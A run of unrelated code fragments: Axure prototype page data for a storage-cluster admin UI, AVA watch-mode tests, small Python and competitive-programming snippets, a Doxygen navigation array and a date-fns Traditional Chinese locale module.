,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fF,Y,j,Z,cF,fb,fs,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,bH),R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fG,Y,j,Z,null,bK,bd,fb,fs,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,bH),R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fH,bX,_(bY,n,b,fI,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fJ,Y,j,Z,cF,fb,fs,fc,fd,q,cG,bb,cG,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,fK),R,dB,A,_(B,C,D,fe)),S,_(),bj,_(),V,[_(W,fL,Y,j,Z,null,bK,bd,fb,fs,fc,fd,q,bL,bb,bM,bc,bd,v,_(be,_(bf,bo,bh,dy),w,ds,bw,_(bx,ci,bz,fK),R,dB,A,_(B,C,D,fe)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fM,bX,_(bY,n,b,fN,ca,bd),cb,cc)])])),cd,bd,cJ,g)],v,_(A,_(B,C,D,fo),F,null,G,z,H,z,I,J),S,_())]),_(W,fO,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fP),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,fQ,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fP),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fR,bX,_(bY,n,b,fS,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fT,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fv),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,fU,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fv),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fV,bX,_(bY,n,b,fW,ca,bd),cb,cc)])])),cd,bd,cJ,g),_(W,fX,Y,j,Z,cF,q,cG,bb,cG,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fY),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_(),V,[_(W,fZ,Y,j,Z,null,bK,bd,q,bL,bb,bM,bc,bd,v,_(dw,dx,be,_(bf,bo,bh,dy),w,dz,bw,_(bx,ci,bz,fY),R,dB,P,dC,A,_(B,C,D,dD),dE,_(B,C,D,dF,dG,dj)),S,_(),bj,_())],T,_(bN,_(bO,bP,bQ,[_(bO,bR,bS,g,bT,[_(bU,bV,bO,fV,bX,_(bY,n,b,fW,ca,bd),cb,cc)])])),cd,bd,cJ,g)]))),ga,_(gb,_(gc,gd,ge,_(gc,gf),gg,_(gc,gh),gi,_(gc,gj),gk,_(gc,gl),gm,_(gc,gn),go,_(gc,gp),gq,_(gc,gr),gs,_(gc,gt)),gu,_(gc,gv,gw,_(gc,gx),gy,_(gc,gz),gA,_(gc,gB),gC,_(gc,gD),gE,_(gc,gF),gG,_(gc,gH),gI,_(gc,gJ),gK,_(gc,gL),gM,_(gc,gN),gO,_(gc,gP),gQ,_(gc,gR),gS,_(gc,gT),gU,_(gc,gV),gW,_(gc,gX),gY,_(gc,gZ),ha,_(gc,hb),hc,_(gc,hd),he,_(gc,hf),hg,_(gc,hh),hi,_(gc,hj),hk,_(gc,hl),hm,_(gc,hn),ho,_(gc,hp),hq,_(gc,hr),hs,_(gc,ht),hu,_(gc,hv),hw,_(gc,hx),hy,_(gc,hz),hA,_(gc,hB),hC,_(gc,hD),hE,_(gc,hF),hG,_(gc,hH),hI,_(gc,hJ)),hK,_(gc,hL),hM,_(gc,hN),hO,_(gc,hP),hQ,_(gc,hR),hS,_(gc,hT),hU,_(gc,hV),hW,_(gc,hX),hY,_(gc,hZ),ia,_(gc,ib),ic,_(gc,id),ie,_(gc,ig),ih,_(gc,ii)));}; var b="url",c="rgwlist.html",d="generationDate",e=new Date(1494482635947.9),f="isCanvasEnabled",g=false,h="isAdaptiveEnabled",i="sketchKeys",j="",k="s0",l="variables",m="OnLoadVariable",n="page",o="packageId",p="b97cc8be2d214e8c9f0236a390865bcc",q="type",r="Axure:Page",s="name",t="RgwList",u="notes",v="style",w="baseStyle",x="627587b6038d43cca051c114ac41ad32",y="pageAlignment",z="near",A="fill",B="fillType",C="solid",D="color",E=0xFFFFFFFF,F="image",G="imageHorizontalAlignment",H="imageVerticalAlignment",I="imageRepeat",J="auto",K="favicon",L="sketchFactor",M="0",N="colorStyle",O="appliedColor",P="fontName",Q="Applied Font",R="borderWidth",S="adaptiveStyles",T="interactionMap",U="diagram",V="objects",W="id",X="0a5f2e6bd9474e7790ad3fce315083b5",Y="label",Z="friendlyType",ba="referenceDiagramObject",bb="styleType",bc="visible",bd=true,be="size",bf="width",bg=1366,bh="height",bi=1888,bj="imageOverrides",bk="masterId",bl="f4f84df2c8ad458e910da57e03be860b",bm="578fec88a7b74e2790af8e00d9be33ee",bn="left menu",bo=210,bp=1600,bq="31880836ce6c4540bdccda09dd096d9f",br="05308a21ff9442b0adef4ec6a5f10332",bs="Menu",bt="menuObject",bu=500,bv=30,bw="location",bx="x",by=230,bz="y",bA=85,bB="f45722fe77cb4c66a54a2de0fd09a1e5",bC="Table",bD="table",bE="a8748f11af434fa8be85ba92902da614",bF="Menu Item",bG="tableCell",bH=100,bI="2036b2baccbc41f0b9263a6981a11a42",bJ="06ed065381d948778aa2ff5c6414002d",bK="isContained",bL="richTextPanel",bM="paragraph",bN="onClick",bO="description",bP="OnClick",bQ="cases",bR="Case 1",bS="isNewIfGroup",bT="actions",bU="action",bV="linkWindow",bW="Open StorageClusterHealth in Current Window",bX="target",bY="targetType",bZ="storageclusterhealth.html",ca="includeVariables",cb="linkType",cc="current",cd="tabbable",ce="images",cf="normal~",cg="images/storageclusterhealth/u571.png",ch="9143def257ba4be5b722959829f4067d",ci=0,cj="a25c813b974f4ce3ab676e036bc84558",ck="Open OSD in Current Window",cl="osd.html",cm="c2256eda2e83439c83a4f3c15ec22145",cn=200,co="16aedf00843440cf92689155a91f2be4",cp="Open StoragePool in Current Window",cq="storagepool.html",cr="07336834287b43b3a9a8425981ef1515",cs=300,ct="5d73199abdef4f4789b8a0d4398111f1",cu="Open RgwList in Current Window",cv="12240e750acd4e749dd1fee14ba17b38",cw=400,cx="c5db3d58e3344bfa9c8bef5e9e410c50",cy="Open NodeInformation in Current Window",cz="nodeinformation.html",cA="images/storageclusterhealth/u579.png",cB="masters",cC="f4f84df2c8ad458e910da57e03be860b",cD="Axure:Master",cE="6742f273e755453c88d8e003087c7020",cF="Rectangle",cG="vectorShape",cH="4b7bfc596114427989e10bb0b557d0ce",cI="5ebeb59ea40546b6b1c42c1cacd82051",cJ="generateCompound",cK="baaeb20792e94c78b55055d3a8b54ea1",cL="Shape",cM="26c731cb771b44a88eb8b6e97e78c80e",cN=20,cO=17,cP=1239,cQ=23,cR=0xF7169BD5,cS="da6b318f475c4e1d999e46e2a10e5b10",cT="images/dashboard/u17.png",cU="41244a9c204a431db3e30403e3b8e110",cV=68,cW=25,cX="0d1f9e22da9248618edd4c1d3f726faa",cY=1267,cZ=18,da="fontSize",db="18px",dc="e646299b063a4b68be356ad34dd65c0c",dd="Open signin in Current Window",de="signin.html",df="4ca4d66690224d02b0a481594dbe0790",dg="Horizontal Line",dh="horizontalLine",di=1158,dj=1,dk="619b2148ccc1497285562264d51992f9",dl=208,dm=58,dn="4f21786020ef47acb4ddaa0532105064",dp="images/dashboard/u21.png",dq="31880836ce6c4540bdccda09dd096d9f",dr="ef48a72325f24bc3a94c864c3a711dfc",ds="0882bfcd7d11450d85d157758311dca5",dt=0xFFEEEEEE,du="4ecd431f5a7445d9b40f96d20af7c2d8",dv="f38d3f488752471caf61f5de99f91e28",dw="fontWeight",dx="200",dy=50,dz="82840a856d244073b6905c4e3cdc5751",dA=190,dB="1",dC="'STHeitiSC-Light', 'Heiti SC Light', 'Heiti SC'",dD=0xFF4B4A5A,dE="foreGroundFill",dF=0xFF000000,dG="opacity",dH="253684401f81449d943386393b8db293",dI="Open dashboard in Current Window",dJ="dashboard.html",dK="a8a9bdd6b76c4cdcaa11571a8c91581a",dL=35,dM="2285372321d148ec80932747449c36c9",dN=88,dO=130,dP="e6746a1978de4164bb7bfb28d47b678d",dQ="504abd5623d04f11a771f9eb2c9ecdd2",dR="Group",dS="layer",dT=297,dU=468,dV="objs",dW="propagate",dX="c6864f048c764ff39f49cc78a8f8c17f",dY=240,dZ="a74d1524b5ae4c98ac197ba332e1a66e",ea="setFunction",eb="Set is selected of This equal to &quot;toggle&quot;",ec="expr",ed="exprType",ee="block",ef="subExprs",eg="fcall",eh="functionName",ei="SetCheckState",ej="arguments",ek="pathLiteral",el="isThis",em="isFocused",en="isTarget",eo="stringLiteral",ep="value",eq="toggle",er="stos",es="onSelect",et="OnSelected",eu="fadeWidget",ev="Show 资源管理 push widgets below",ew="objectsToFades",ex="objectPath",ey="897d458d16594b02b6d4e0a99121bf83",ez="fadeInfo",eA="fadeType",eB="show",eC="options",eD="showType",eE="compress",eF="bringToFront",eG="vertical",eH="compressEasing",eI="none",eJ="compressDuration",eK="onUnselect",eL="OnUnselected",eM="Hide 资源管理 pull widgets below",eN="hide",eO="资源管理",eP="Dynamic Panel",eQ="dynamicPanel",eR=10,eS=290,eT=0x300099FF,eU="scrollbars",eV="fitToContent",eW="diagrams",eX="0c9f2942abba44cbbc87b361a0152031",eY="State1",eZ="Axure:PanelDiagram",fa="3164fa06075d46bd845bb96bcbf80859",fb="parentDynamicPanel",fc="panelIndex",fd=0,fe=0xFFD2D4D6,ff="e275395112bc431c917d79d4cc333d02",fg="0287d592c3894507ad6c090d2e38e188",fh="6da254ee4e184b9ea037b6603a9bb686",fi="Open StorageClusterMangage in Current Window",fj="storageclustermangage.html",fk="c0ee326e7d83441f8c87345225f97a08",fl="8cf78bc3452d4c0993b44c6d29cb09fb",fm="Open EventMangage in Current Window",fn="eventmangage.html",fo=0xFFFFFF,fp="85555c872be94b719ed5412cb7c3c2d2",fq="4ade66bf51514dd19cff920206befa97",fr="Show 逻辑管理 push widgets below",fs="6a82cd238f00499dbb6b036646670138",ft="Hide 逻辑管理 pull widgets below",fu="逻辑管理",fv=340,fw="200b18bb94b247b0bef16814c03a4bd9",fx="e64b415d0b904dd880803dd170079e3d",fy="2988f48d8ecd48a4b83f3dfe39efe1e0",fz="Open HardWareMonitor in Current Window",fA="hardwaremonitor.html",fB="3b2946853fdc4c90ad61fa9d32e1dfa7",fC="bddf9d066e8c4545bac93bc93d62b3fd",fD="Open PerformanceMonitor in Current Window",fE="performancemonitor.html",fF="ca21a8bf3c2844a881b3f4151f3e9673",fG="0fa8e01c061f421a83f0ce604e317e69",fH="Open BasedReportForms in Current Window",fI="basedreportforms.html",fJ="8ebd0a5f6cfe4f7a861e66ae60bc30f4",fK=150,fL="4cb7b324ae954067a956c78a9fddadcb",fM="Open StoragePerformanceReportForms in Current Window",fN="storageperformancereportforms.html",fO="3e10be8df7584e0491f40c9bc71fbd5f",fP=440,fQ="79391459ab144d879dcc659c8028c4ae",fR="Open feedback in Current Window",fS="feedback.html",fT="cefe8e740c2d4158b6d0274117fe7707",fU="83aa3e841ea7477d8d48316a19e73eda",fV="Open log in Current Window",fW="log.html",fX="cecbff7ef5de4ae2abfd433c26b81798",fY=390,fZ="b00a7c339dee468c8f174ca0e4ec98ef",ga="objectPaths",gb="0a5f2e6bd9474e7790ad3fce315083b5",gc="scriptId",gd="u1310",ge="6742f273e755453c88d8e003087c7020",gf="u1311",gg="5ebeb59ea40546b6b1c42c1cacd82051",gh="u1312",gi="baaeb20792e94c78b55055d3a8b54ea1",gj="u1313",gk="da6b318f475c4e1d999e46e2a10e5b10",gl="u1314",gm="41244a9c204a431db3e30403e3b8e110",gn="u1315",go="e646299b063a4b68be356ad34dd65c0c",gp="u1316",gq="4ca4d66690224d02b0a481594dbe0790",gr="u1317",gs="4f21786020ef47acb4ddaa0532105064",gt="u1318",gu="578fec88a7b74e2790af8e00d9be33ee",gv="u1319",gw="ef48a72325f24bc3a94c864c3a711dfc",gx="u1320",gy="4ecd431f5a7445d9b40f96d20af7c2d8",gz="u1321",gA="f38d3f488752471caf61f5de99f91e28",gB="u1322",gC="253684401f81449d943386393b8db293",gD="u1323",gE="a8a9bdd6b76c4cdcaa11571a8c91581a",gF="u1324",gG="e6746a1978de4164bb7bfb28d47b678d",gH="u1325",gI="504abd5623d04f11a771f9eb2c9ecdd2",gJ="u1326",gK="c6864f048c764ff39f49cc78a8f8c17f",gL="u1327",gM="a74d1524b5ae4c98ac197ba332e1a66e",gN="u1328",gO="897d458d16594b02b6d4e0a99121bf83",gP="u1329",gQ="3164fa06075d46bd845bb96bcbf80859",gR="u1330",gS="e275395112bc431c917d79d4cc333d02",gT="u1331",gU="0287d592c3894507ad6c090d2e38e188",gV="u1332",gW="6da254ee4e184b9ea037b6603a9bb686",gX="u1333",gY="c0ee326e7d83441f8c87345225f97a08",gZ="u1334",ha="8cf78bc3452d4c0993b44c6d29cb09fb",hb="u1335",hc="85555c872be94b719ed5412cb7c3c2d2",hd="u1336",he="4ade66bf51514dd19cff920206befa97",hf="u1337",hg="6a82cd238f00499dbb6b036646670138",hh="u1338",hi="e64b415d0b904dd880803dd170079e3d",hj="u1339",hk="2988f48d8ecd48a4b83f3dfe39efe1e0",hl="u1340",hm="3b2946853fdc4c90ad61fa9d32e1dfa7",hn="u1341",ho="bddf9d066e8c4545bac93bc93d62b3fd",hp="u1342",hq="ca21a8bf3c2844a881b3f4151f3e9673",hr="u1343",hs="0fa8e01c061f421a83f0ce604e317e69",ht="u1344",hu="8ebd0a5f6cfe4f7a861e66ae60bc30f4",hv="u1345",hw="4cb7b324ae954067a956c78a9fddadcb",hx="u1346",hy="3e10be8df7584e0491f40c9bc71fbd5f",hz="u1347",hA="79391459ab144d879dcc659c8028c4ae",hB="u1348",hC="cefe8e740c2d4158b6d0274117fe7707",hD="u1349",hE="83aa3e841ea7477d8d48316a19e73eda",hF="u1350",hG="cecbff7ef5de4ae2abfd433c26b81798",hH="u1351",hI="b00a7c339dee468c8f174ca0e4ec98ef",hJ="u1352",hK="05308a21ff9442b0adef4ec6a5f10332",hL="u1353",hM="f45722fe77cb4c66a54a2de0fd09a1e5",hN="u1354",hO="a8748f11af434fa8be85ba92902da614",hP="u1355",hQ="06ed065381d948778aa2ff5c6414002d",hR="u1356",hS="9143def257ba4be5b722959829f4067d",hT="u1357",hU="a25c813b974f4ce3ab676e036bc84558",hV="u1358",hW="c2256eda2e83439c83a4f3c15ec22145",hX="u1359",hY="16aedf00843440cf92689155a91f2be4",hZ="u1360",ia="07336834287b43b3a9a8425981ef1515",ib="u1361",ic="5d73199abdef4f4789b8a0d4398111f1",id="u1362",ie="12240e750acd4e749dd1fee14ba17b38",ig="u1363",ih="c5db3d58e3344bfa9c8bef5e9e410c50",ii="u1364"; return _creator(); })());
""" @author : vishalshirke7 @date : 08/01/2019 """ def sum_of_digits(n): if n <= 0: return n else: return (n % 10) + sum_of_digits(n // 10) print(sum_of_digits(int(input())))
'use strict'; const path = require('path'); const {test} = require('tap'); const touch = require('touch'); const {execCli} = require('../helper/cli'); const END_MESSAGE = 'Type `r` and press enter to rerun tests\nType `u` and press enter to update snapshots\n'; test('watcher reruns test files when they changed', t => { let killed = false; const child = execCli(['--verbose', '--watch', 'test.js'], {dirname: 'fixture/watcher', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('1 test passed')) { if (!passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/test.js')); buffer = ''; passedFirst = true; } else if (!killed) { child.kill(); killed = true; } } }); }); test('watcher respects custom test file extensions', t => { let killed = false; const child = execCli(['--verbose', '--watch'], {dirname: 'fixture/watcher/custom-extensions', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('1 test passed')) { if (!passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/custom-extensions/test.foo')); buffer = ''; passedFirst = true; } else if (!killed) { child.kill(); killed = true; } } }); }); test('watcher reruns test files when source dependencies change', t => { let killed = false; const child = execCli(['--verbose', '--watch', 'test-1.js', 'test-2.js'], {dirname: 'fixture/watcher/with-dependencies', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('2 tests passed') && !passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/with-dependencies/source.js')); buffer = ''; passedFirst = true; } else if (buffer.includes('1 test passed') && !killed) { child.kill(); killed = true; } }); }); test('watcher reruns ONLY test files that depend on a changed source with custom extension', t => { let killed = false; const child = execCli(['--verbose', '--require', './setup.js', '--watch', 'test-1.js', 'test-2.js'], {dirname: 'fixture/watcher/with-custom-ext-dependencies', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('2 tests passed') && !passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/with-custom-ext-dependencies/source.custom-ext')); buffer = ''; passedFirst = true; } else if (buffer.includes('1 test passed') && !killed) { child.kill(); killed = true; } }); }); test('watcher reruns all tests when one of the configured files in the `require` option changes', t => { let killed = false; const child = execCli(['--verbose', '--require', './setup.js', '--watch', 'test-1.js', 'test-2.js'], {dirname: 'fixture/watcher/with-custom-ext-dependencies', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('2 tests passed') && !passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/with-custom-ext-dependencies/setup.js')); buffer = ''; passedFirst = true; } else if (buffer.includes('2 tests passed') && !killed) { child.kill(); killed = true; } }); }); test('watcher does not rerun test files when they write snapshot files', t => { let killed = false; const child = execCli(['--verbose', '--watch', '--update-snapshots', 'test.js'], {dirname: 'fixture/snapshots', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('2 tests passed') && !passedFirst) { buffer = ''; passedFirst = true; setTimeout(() => { child.kill(); killed = true; }, 500); } else if (passedFirst && !killed) { t.is(buffer.replace(/\s/g, '').replace(END_MESSAGE.replace(/\s/g, ''), ''), ''); } }); }); test('watcher does not rerun test files when files change that are neither tests, helpers nor sources', t => { let killed = false; const child = execCli(['--verbose', '--watch'], {dirname: 'fixture/watcher/ignored-files', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('1 test passed') && !passedFirst) { touch.sync(path.join(__dirname, '../fixture/watcher/ignored-files/ignored.js')); buffer = ''; passedFirst = true; setTimeout(() => { child.kill(); killed = true; }, 500); } else if (passedFirst && !killed) { t.is(buffer.replace(/\s/g, '').replace(END_MESSAGE.replace(/\s/g, ''), ''), ''); } }); }); test('watcher reruns test files when snapshot dependencies change', t => { let killed = false; const child = execCli(['--verbose', '--watch', '--update-snapshots', 'test.js'], {dirname: 'fixture/snapshots', env: {CI: ''}}, err => { t.ok(killed); t.ifError(err); t.end(); }); let buffer = ''; let passedFirst = false; child.stdout.on('data', str => { buffer += str; if (buffer.includes('2 tests passed')) { buffer = ''; if (passedFirst) { child.kill(); killed = true; } else { passedFirst = true; setTimeout(() => { touch.sync(path.join(__dirname, '../fixture/snapshots/test.js.snap')); }, 500); } } }); }); test('`"tap": true` config is ignored when --watch is given', t => { let killed = false; const child = execCli(['--watch', '--verbose', 'test.js'], {dirname: 'fixture/watcher/tap-in-conf', env: {CI: ''}}, () => { t.ok(killed); t.end(); }); let combined = ''; const testOutput = output => { combined += output; t.notMatch(combined, /TAP/); if (combined.includes('works')) { child.kill(); killed = true; } }; child.stdout.on('data', testOutput); child.stderr.on('data', testOutput); }); for (const watchFlag of ['--watch', '-w']) { for (const tapFlag of ['--tap', '-t']) { test(`bails when ${tapFlag} reporter is used while ${watchFlag} is given`, t => { execCli([tapFlag, watchFlag, 'test.js'], {dirname: 'fixture/watcher', env: {CI: ''}}, (err, stdout, stderr) => { t.is(err.code, 1); t.match(stderr, 'The TAP reporter is not available when using watch mode.'); t.end(); }); }); } } for (const watchFlag of ['--watch', '-w']) { test(`bails when CI is used while ${watchFlag} is given`, t => { execCli([watchFlag, 'test.js'], {dirname: 'fixture/watcher', env: {CI: true}}, (err, stdout, stderr) => { t.is(err.code, 1); t.match(stderr, 'Watch mode is not available in CI, as it prevents AVA from terminating.'); t.end(); }); }); }
a,b=list(map(int,input().split())) cnt = 0 while (not a == b) and b > 0: if b %10 ==1: b//=10 cnt+=1 elif b % 2 ==0: b//=2 cnt+=1 else: print(-1) break else: if b <= 0: print(-1) else: print(cnt+1)
var apr__aprepro_8cc = [ [ "max", "apr__aprepro_8cc.html#ac39d9cef6a5e030ba8d9e11121054268", null ], [ "MAXLEN", "apr__aprepro_8cc.html#ae6648cd71a8bd49d58ae8ed33ba910d1", null ], [ "min", "apr__aprepro_8cc.html#abb702d8b501669a23aa0ab3b281b9384", null ], [ "hash_symbol", "apr__aprepro_8cc.html#afddb8da9d97355e9e1cf1b9aec20afc9", null ], [ "output_copyright", "apr__aprepro_8cc.html#ad9ce072d71e737f995472c04521ef52c", null ], [ "aprepro", "apr__aprepro_8cc.html#a832dd1dbbc0adeb2151b2213e7d89a03", null ], [ "echo", "apr__aprepro_8cc.html#a9e89e5ccba182fda8796e9988d051098", null ], [ "HASHSIZE", "apr__aprepro_8cc.html#a3ccb605d7abf7abff225f663dc92d0e3", null ], [ "version_string", "apr__aprepro_8cc.html#ac1527f21f00b21b4c88dc471caadaa36", null ] ];
import formatDistance from './_lib/formatDistance/index.js' import formatLong from './_lib/formatLong/index.js' import formatRelative from './_lib/formatRelative/index.js' import localize from './_lib/localize/index.js' import match from './_lib/match/index.js' /** * @type {Locale} * @category Locales * @summary Chinese Traditional locale. * @language Chinese Traditional * @iso-639-2 zho * @author tonypai [@tpai]{@link https://github.com/tpai} * @author Jack Hsu [@jackhsu978]{@link https://github.com/jackhsu978} */ var locale = { formatDistance: formatDistance, formatLong: formatLong, formatRelative: formatRelative, localize: localize, match: match, options: { weekStartsOn: 1 /* Monday */, firstWeekContainsDate: 4 } } export default locale
#!/usr/bin/env python3 import time print("\nGMO-Free Grass Fed Human Time - " + time.ctime())